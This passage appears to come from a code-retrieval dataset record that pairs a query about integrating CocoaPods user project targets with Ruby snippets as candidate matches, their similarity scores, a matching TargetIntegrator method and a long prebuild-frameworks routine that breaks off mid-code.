'AssetTargetResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AssetApi.get_asset_target_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AssetApi#get_asset_target_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def archive(projects)\n project_ids = projects.collect { |project| project.id } \n args = {ids: project_ids.to_json}\n return @client.api_helper.command(args, \"project_archive\")\n end", "def update!(**args)\n @target_uri = args[:target_uri] if args.key?(:target_uri)\n end", "def rebuild_files\n @project.rebuild_files()\n end", "def build(*languages)\n (client_bundles + framework_bundles).each do |bundle|\n bundle.build(*languages)\n end\n end", "def run(targets, dry)\n targets = [] if targets == ''\n targets = targets || []\n targets = Array(targets)\n if targets.length == 0\n if @default\n targets = @default\n else\n error \"No default target given\"\n end\n end\n aliased_targets = []\n for target in targets\n if @alias and @alias.has_key?(target)\n aliased_targets += Array(@alias[target])\n else\n aliased_targets << target\n end\n end\n for target in aliased_targets\n run_target(target, dry)\n @already_run.clear\n end\n end", "def update!(**args)\n @entity_sources = args[:entity_sources] if args.key?(:entity_sources)\n end", "def add_resources\n UI.message '- Adding resources' do\n refs = add_file_accessors_paths_to_pods_group(:resources, :resources, true)\n refs.concat add_file_accessors_paths_to_pods_group(:resource_bundle_files, :resources, true)\n add_known_regions(refs)\n end\n end", "def set_carthage_framework_search_paths_for_target(target, platform)\n target.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \"$(SRCROOT)/Carthage/Build/#{platform}\"\n )\nend", "def setup_projects\n # noop\n end", "def update!(**args)\n @artifact_uri = args[:artifact_uri] if args.key?(:artifact_uri)\n @automatic_resources = args[:automatic_resources] if args.key?(:automatic_resources)\n @container_spec = args[:container_spec] if args.key?(:container_spec)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @large_model_reference = args[:large_model_reference] if args.key?(:large_model_reference)\n @model_display_name = args[:model_display_name] if args.key?(:model_display_name)\n @shared_resources = args[:shared_resources] if args.key?(:shared_resources)\n @title = args[:title] if args.key?(:title)\n end", "def execute\n supported_swift_versions = ['3.0', '4.0', '4.2']\n if !supported_swift_versions.include? swift_version\n signal_usage_error \"'#{swift_version}' swift version is not supported. Supported values: \" + supported_swift_versions.map { |v| \"'#{v}'\" }.join(\", \")\n end\n \n ProjectMod.apply_build_setting(name: 'SWIFT_VERSION', value: \"#{swift_version}.0\", target_names: target_list)\n \n targets_string = target_list.empty? ? 'All targets' : (target_list.join(\", \") + \" targets\")\n puts \"#{targets_string} were updated to use Swift #{swift_version}!\" \n end", "def update_target\n obj = JSON.load(@clnt.get(@config_url).body) || []\n obj = @parsing_block.call(obj) if @parsing_block\n\n obj.each do |target|\n @target_array = []\n name = target[\"name\"]\n type = target[\"type\"]\n target_array << path_for(name, type)\n end\n end", "def Extend(valueMap, executeParent=true)\n if(valueMap == nil)\n return\n end\n\n if(executeParent)\n super(valueMap)\n end\n\n targetPlatforms = valueMap[:TargetPlatforms] || valueMap[:targPlat]\n if(targetPlatforms)\n @TargetPlatforms.concat(targetPlatforms)\n end\n end", "def update!(**args)\n @migrate_resource_requests = args[:migrate_resource_requests] if args.key?(:migrate_resource_requests)\n end", "def apply_action_to_built_gems(*actions)\n gems = Dir[File.join(@dist_dir, '*.gem')]\n actions.each do |action|\n gems.each do |name|\n sh \"#{action} #{name}\"\n end\n end\nend", "def update!(**args)\n @pipeline_ready_condition = args[:pipeline_ready_condition] if args.key?(:pipeline_ready_condition)\n @targets_present_condition = args[:targets_present_condition] if args.key?(:targets_present_condition)\n @targets_type_condition = args[:targets_type_condition] if args.key?(:targets_type_condition)\n end", "def target\n @target ||= if target_name != nil\n target = native_targets.find { |t| t.name == target_name }\n if target.nil?\n raise ArgumentError.new \"Unknown target '#{target_name}'. \"\n end\n target\n else\n if application_targets.count == 1\n application_targets.first\n else\n raise ArgumentError.new 'Multiple application target in project. ' \\\n 'Please select one by specifying the option `--target TARGET`.'\n end\n end\n end", "def update_libraries uri\n src = sources.find(uri)\n libraries.each do |lib|\n lib.merge src if lib.contain?(src.filename)\n end\n diagnoser.schedule uri\n end", "def add_testable_entries(project, name, platforms)\n\n platforms.each do |platform|\n \n # FIXME: abstract away\n target = project.targets.find { |y| y.name == \"#{name} #{platform} Tests\" }\n\n # Scheme\n scheme_name = \"#{name} #{platform}.xcscheme\"\n scheme_path = \"#{Dir.pwd}/#{name}.xcodeproj/xcshareddata/xcschemes/#{scheme_name}\"\n scheme = Xcodeproj::XCScheme.new(scheme_path)\n\n testable_entry = Xcodeproj::XCScheme::BuildAction::Entry.new(target)\n testable_entry.build_for_analyzing = false\n scheme.build_action.add_entry(testable_entry)\n scheme.test_action.add_testable(testable_ref(target))\n scheme.test_action.code_coverage_enabled = true\n scheme.save!\n end\nend", "def set_discover_targets(discover:)\n {\n method: \"Target.setDiscoverTargets\",\n params: { discover: discover }.compact\n }\n end", "def create_resources(project)\n raise NotImplementedError\n end", "def create_resources(project)\n raise NotImplementedError\n end", "def reference_resource\n attributes = self.class.resources[reuse_as][:attributes]\n name = \"reference_resource_#{SecureRandom.hex(8)}_for_#{attributes.delete(:name)}\"\n\n Project.fabricate_via_api! do |project|\n self.class.resources[reuse_as][:attributes].each do |attribute_name, attribute_value|\n project.instance_variable_set(\"@#{attribute_name}\", attribute_value) if attribute_value\n end\n project.name = name\n project.path = name\n project.path_with_namespace = \"#{project.group.full_path}/#{project.name}\"\n end\n end", "def update!(**args)\n @target = args[:target] if args.key?(:target)\n end", "def manipulate_resource_list(resources)\n\n resources.each do |resource|\n\n #--------------------------------------------------------\n # page_name\n # Make page_name available for each page. This is the\n # file base name. Useful for assigning classes, etc.\n #--------------------------------------------------------\n def resource.page_name\n File.basename( self.url, '.*' )\n end\n\n\n #--------------------------------------------------------\n # page_group\n # Make page_group available for each page. This is\n # the source parent directory (not the request path).\n # Useful for for assigning classes, and/or group\n # conditionals.\n #--------------------------------------------------------\n def resource.page_group\n File.basename(File.split(self.source_file)[0])\n end\n\n\n #--------------------------------------------------------\n # sort_order\n # Returns the page sort order or nil.\n # - If there's an `order` key, use it.\n # - Otherwise if there's a three digit prefix.\n # - Else nil.\n #--------------------------------------------------------\n def resource.sort_order\n if self.data.key?('order')\n self.data['order'].to_i\n elsif self.page_name[0..2].to_i != 0\n self.page_name[0..2].to_i\n else\n nil\n end\n end\n\n\n #--------------------------------------------------------\n # valid_features\n # Returns an array of valid features for this page\n # based on the current target, i.e., features that\n # are true for the current target. These are the\n # only features that can be used with frontmatter\n # :target or :exclude.\n #--------------------------------------------------------\n def resource.valid_features\n options = app.extensions[:Middlemac].options\n options.Targets[options.Target][:Features].select { |k, v| v }.keys\n end\n\n\n #--------------------------------------------------------\n # targeted?\n # Determines if this pages is eligible for inclusion\n # in the current build/server environment based on:\n # - is an HTML file, and\n # - has a sort_order, and\n # - if frontmatter:target is used, the target or\n # feature appears in the frontmatter, and\n # - if frontmatter:exclude is used, the target or\n # enabled feature does NOT appear in the\n # frontmatter.\n #--------------------------------------------------------\n def resource.targeted?\n target_name = app.extensions[:Middlemac].options.Target\n self.ext == '.html' &&\n self.data.key?('title') &&\n !self.sort_order.nil? &&\n ( !self.data['target'] || (self.data['target'].include?(target_name) || (self.data['target'] & self.valid_features).count > 0) ) &&\n ( !self.data['exclude'] || !(self.data['exclude'].include?(target_name) || (self.data['exclude'] & self.valid_features).count > 0) )\n end\n\n\n #--------------------------------------------------------\n # brethren\n # Returns an array of all of the siblings of the\n # specified page, taking into account their\n # eligibility for display.\n # - is not already the current page, and\n # - is targeted for the current build.\n # Returned array will be:\n # - sorted by sort_order.\n #--------------------------------------------------------\n def resource.brethren\n pages = self.siblings.find_all { |p| p.targeted? && p != app.current_page }\n pages.sort_by { |p| p.sort_order }\n end\n\n\n #--------------------------------------------------------\n # brethren_next\n # Returns the next sibling based on order or nil.\n #--------------------------------------------------------\n def resource.brethren_next\n if self.sort_order.nil?\n puts 'NEXT reports no sort order.'\n return nil\n else\n return self.brethren.select { |p| p.sort_order == app.current_page.sort_order + 1 }[0]\n end\n end\n\n\n #--------------------------------------------------------\n # brethren_previous\n # Returns the previous sibling based on order or nil.\n #--------------------------------------------------------\n def resource.brethren_previous\n if self.sort_order.nil?\n puts 'PREV reports no sort order.'\n return nil\n else\n return self.brethren.select { |p| p.sort_order == app.current_page.sort_order - 1 }[0]\n end\n end\n\n\n #--------------------------------------------------------\n # navigator_eligible?\n # Determine whether a page is eligible to include a\n # previous/next page control based on:\n # - the group is set to allow navigation (:navigate)\n # - this page is not excluded from navigation. (:navigator => false)\n # - this page has a sort_order.\n #--------------------------------------------------------\n def resource.navigator_eligible?\n (self.parent && self.parent.data.key?('navigate') && self.parent.data['navigate'] == true) &&\n !(self.data.key?('navigator') && self.data['navigator'] == false) &&\n (!self.sort_order.nil?)\n end\n\n\n #--------------------------------------------------------\n # legitimate_children\n # Returns an array of all of the children of the\n # specified page, taking into account their\n # eligibility for display.\n # - is targeted for the current build.\n # Returned array will be:\n # - sorted by sort_order.\n #--------------------------------------------------------\n def resource.legitimate_children\n pages = self.children.find_all { |p| p.targeted? }\n pages.sort_by { |p| p.sort_order }\n end\n\n\n #--------------------------------------------------------\n # breadcrumbs\n # Returns an array of pages leading to the current\n # page.\n #--------------------------------------------------------\n def resource.breadcrumbs\n hierarchy = [] << self\n hierarchy.unshift hierarchy.first.parent while hierarchy.first.parent\n hierarchy\n end\n\n\n end # .each\n\n resources\nend", "def upgrade\n if targets.any?\n resolve_dependencies!\n fetch_results!\n end\n\n Upgrades.add_to(self)\n\n run!\n end", "def update!(**args)\n @schedules = args[:schedules] if args.key?(:schedules)\n @targets = args[:targets] if args.key?(:targets)\n end", "def add_default_targets list\n raise \"@targets not defined\" if !defined? @targets # should be defined\n\n list.each_slice( 2 ) { |nm, kind|\n name = add_ext nm, kind # append appropriate extension to name\n\n # target must already exist\n t = find_target name\n raise \"Target #{name} not found\" if !t\n raise \"Multiple targets for #{name}\" if t.size > 1\n @targets << t.first\n }\n end", "def setSimpleTaskTarget _obj, _args\n \"_obj setSimpleTaskTarget _args;\" \n end", "def clobber(*includes)\n Rake.application.IncludeClobberTargets(includes)\n end", "def setup_projects\n recipes.each do |rec_obj|\n rec_obj.setup_projects\n end\n end" ]
[ "0.58724767", "0.576779", "0.56466395", "0.5448475", "0.53682774", "0.5301318", "0.5281299", "0.524073", "0.5163851", "0.5163851", "0.5134046", "0.5074465", "0.5057932", "0.5053632", "0.50389576", "0.5038832", "0.50362545", "0.50297695", "0.49729547", "0.49286824", "0.4923264", "0.48851544", "0.48584813", "0.48503143", "0.48204625", "0.48145106", "0.48022994", "0.47808313", "0.4773238", "0.47624934", "0.476137", "0.4751955", "0.47348118", "0.47346902", "0.4729731", "0.47265312", "0.47191954", "0.4706851", "0.470653", "0.4704181", "0.46982425", "0.46902436", "0.46889684", "0.46755823", "0.46755823", "0.4667695", "0.4664737", "0.4664737", "0.4663052", "0.46506336", "0.46489072", "0.46489072", "0.46398738", "0.46372494", "0.46372494", "0.46351695", "0.46348023", "0.4630347", "0.46257973", "0.46202973", "0.46117547", "0.4599059", "0.45884502", "0.45818132", "0.4579446", "0.45734605", "0.45670083", "0.45618048", "0.45537576", "0.45510203", "0.45437616", "0.45436087", "0.45424023", "0.45322847", "0.45185402", "0.45123357", "0.45106837", "0.4505596", "0.45032752", "0.45019394", "0.44985613", "0.44915763", "0.4491512", "0.4489775", "0.44879562", "0.44772014", "0.4476761", "0.4469326", "0.44688693", "0.44655725", "0.44655725", "0.44652864", "0.4464791", "0.4462763", "0.44608796", "0.44603756", "0.44603392", "0.44588217", "0.44580767", "0.44568336" ]
0.63340986
0
Integrates the user project targets. Only the targets that do not already have the Pods library in their frameworks build phase are processed.
def integrate! UI.section(integration_message) do XCConfigIntegrator.integrate(target, native_targets) remove_obsolete_script_phases add_pods_library add_embed_frameworks_script_phase remove_embed_frameworks_script_phase_from_embedded_targets add_copy_resources_script_phase add_check_manifest_lock_script_phase add_user_script_phases add_on_demand_resources end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def integrate!\n return if native_targets.empty?\n UI.section(integration_message) do\n add_xcconfig_base_configuration\n add_pods_library\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n user_project.save\n end\n end", "def integrate_user_project\n UI.section \"Integrating client #{'project'.pluralize(aggregate_targets.map(&:user_project_path).uniq.count)}\" do\n installation_root = config.installation_root\n integrator = UserProjectIntegrator.new(podfile, sandbox, installation_root, aggregate_targets, generated_aggregate_targets,\n :use_input_output_paths => !installation_options.disable_input_output_paths?)\n integrator.integrate!\n run_podfile_post_integrate_hooks\n end\n end", "def install_pod\n %i(validate_targets generate_pods_project integrate_user_project\n perform_post_install_actions).each { |m| @installer.send(m) }\n\n deployment_target = spec.subspec_by_name(subspec_name).deployment_target(consumer.platform_name)\n configure_pod_targets(@installer.target_installation_results)\n validate_dynamic_framework_support(@installer.aggregate_targets, deployment_target)\n @installer.pods_project.save\n end", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def user_targets\n return [] unless user_project\n user_target_uuids.map do |uuid|\n native_target = user_project.objects_by_uuid[uuid]\n unless native_target\n raise Informative, '[Bug] Unable to find the target with ' \\\n \"the `#{uuid}` UUID for the `#{self}` integration library\"\n end\n native_target\n end\n end", "def auto_process_target(app_target_names, embedded_target_name, installer)\n words = find_words_at_embedded_target('Pods-' + embedded_target_name,\n installer)\n handle_app_targets(app_target_names.map{ |str| 'Pods-' + str },\n words,\n installer)\nend", "def integrate!\n UI.section(integration_message) do\n target_installation_result.non_library_specs_by_native_target.each do |native_target, spec|\n add_embed_frameworks_script_phase(native_target, spec)\n add_copy_resources_script_phase(native_target, spec)\n add_on_demand_resources(native_target, spec) if spec.app_specification?\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(spec), native_target)\n end\n add_copy_dsyms_script_phase(target_installation_result.native_target)\n add_copy_xcframeworks_script_phase(target_installation_result.native_target)\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(target.library_specs), target_installation_result.native_target)\n end\n end", "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "def link_project\n install_resources\n copy_headers\n\n @config.vendor_project(PODS_ROOT, :xcode,\n :target => 'Pods',\n :headers_dir => 'Headers',\n :products => %w{ libPods.a }\n )\n\n if ldflags = pods_xcconfig.to_hash['OTHER_LDFLAGS']\n lib_search_paths = pods_xcconfig.to_hash['LIBRARY_SEARCH_PATHS'] || \"\"\n lib_search_paths.gsub!('$(PODS_ROOT)', \"-L#{@config.project_dir}/#{PODS_ROOT}\")\n\n framework_search_paths = pods_xcconfig.to_hash['FRAMEWORK_SEARCH_PATHS']\n if framework_search_paths\n framework_search_paths.scan(/\\\"([^\\\"]+)\\\"/) do |search_path|\n path = search_path.first.gsub!(/(\\$\\(PODS_ROOT\\))|(\\$\\{PODS_ROOT\\})/, \"#{@config.project_dir}/#{PODS_ROOT}\")\n @config.framework_search_paths << path if path\n end\n end\n\n @config.frameworks.concat(ldflags.scan(/-framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.frameworks.uniq!\n @config.libs.concat(ldflags.scan(/-l([^\\s]+)/).map { |m|\n if lib_search_paths.length == 0 || File.exist?(\"/usr/lib/lib#{m[0]}.dylib\")\n \"/usr/lib/lib#{m[0]}.dylib\"\n else\n \"#{lib_search_paths} -all_load -l#{m[0]}\"\n end\n })\n @config.weak_frameworks.concat(ldflags.scan(/-weak_framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.weak_frameworks.uniq!\n @config.libs.uniq!\n end\n end", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = 